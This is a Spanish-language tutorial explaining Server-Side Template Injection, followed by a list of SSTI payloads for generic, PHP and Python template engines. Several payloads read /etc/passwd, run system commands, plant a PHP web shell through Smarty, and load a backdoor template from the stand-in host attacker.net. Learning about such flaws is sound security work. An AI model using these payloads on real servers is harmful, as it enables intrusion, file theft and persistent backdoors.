SSTI (Server Side Template Injection)

SSTI (Server Side Template Injection)

Explicación del Ataque Server-Side Template Injection (SSTI)

La imagen que has compartido describe el proceso de un ataque de Server-Side Template Injection (SSTI), que es un tipo de vulnerabilidad que ocurre cuando un servidor web permite que el usuario inyecte código en las plantillas utilizadas para generar contenido dinámico en la página web. A continuación, se explica cada sección de la imagen:

1. ¿Qué son las plantillas del servidor?

  • Server Templates: Las plantillas del servidor ayudan a generar páginas web dinámicas, es decir, páginas que pueden cambiar su contenido en función de la entrada del usuario o de otros factores.

2. ¿Cómo funciona?

  • Ejemplo básico: Se muestra un ejemplo de cómo funciona una plantilla en el servidor.
    1. El usuario envía una solicitud al servidor con un parámetro, como user=John.
    2. El servidor usa ese parámetro dentro de la plantilla para generar una respuesta: Hello {{name}}, que se convierte en Hello John!.
    3. Finalmente, esta respuesta es enviada de vuelta al navegador.

3. Vulnerabilidad

  • Vulnerability: Si el servidor no maneja adecuadamente la entrada del usuario y la inserta directamente en una plantilla (por ejemplo, usando render_template(input)), se crea una vulnerabilidad. El problema ocurre cuando la entrada del usuario se convierte en parte de la plantilla, permitiéndole inyectar código de la plantilla que luego será ejecutado por el servidor.

4. Ataque

  • Attack: El atacante puede explotar esta vulnerabilidad inyectando código de plantilla malicioso.
    1. El atacante envía una entrada maliciosa, como user={{7*7}}.
    2. El servidor procesa esta entrada y genera una respuesta, por ejemplo, Hello {{name}}!, que ahora incluye la ejecución del código inyectado: Hello 49! (7*7 = 49).
    3. Esto muestra que el código de plantilla del atacante fue ejecutado por el servidor.

5. Acceso a Shell

  • Shell: En casos más avanzados, un atacante podría inyectar código que ejecuta comandos del sistema o incluso un reverse shell (una técnica que le da al atacante acceso remoto al servidor).
    1. El atacante inyecta un código más peligroso como user={{ reverse_shell }}.
    2. El servidor procesa esta entrada como de costumbre.
    3. Sin embargo, en lugar de simplemente devolver texto, el servidor ejecuta el código malicioso, lo que podría otorgar al atacante acceso al sistema con un shell inverso.
    4. Finalmente, el atacante tiene acceso al sistema del servidor.

Payloads interesantes

Aquí tienes algunos payloads bastantes interesantes. ¡Good Hacking!

Generic

${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}

PHP

{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Python

{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}


Conclusión

El SSTI es una vulnerabilidad crítica que permite a un atacante ejecutar código en el servidor a través de la inyección de código en plantillas. Esto puede llevar a la ejecución de comandos arbitrarios en el servidor, lo que podría resultar en la obtención de acceso completo al sistema comprometido. Para evitar este tipo de ataques, es esencial validar y sanear adecuadamente la entrada del usuario y utilizar mecanismos de templating seguros.

No hay etiquetas para esta entrada.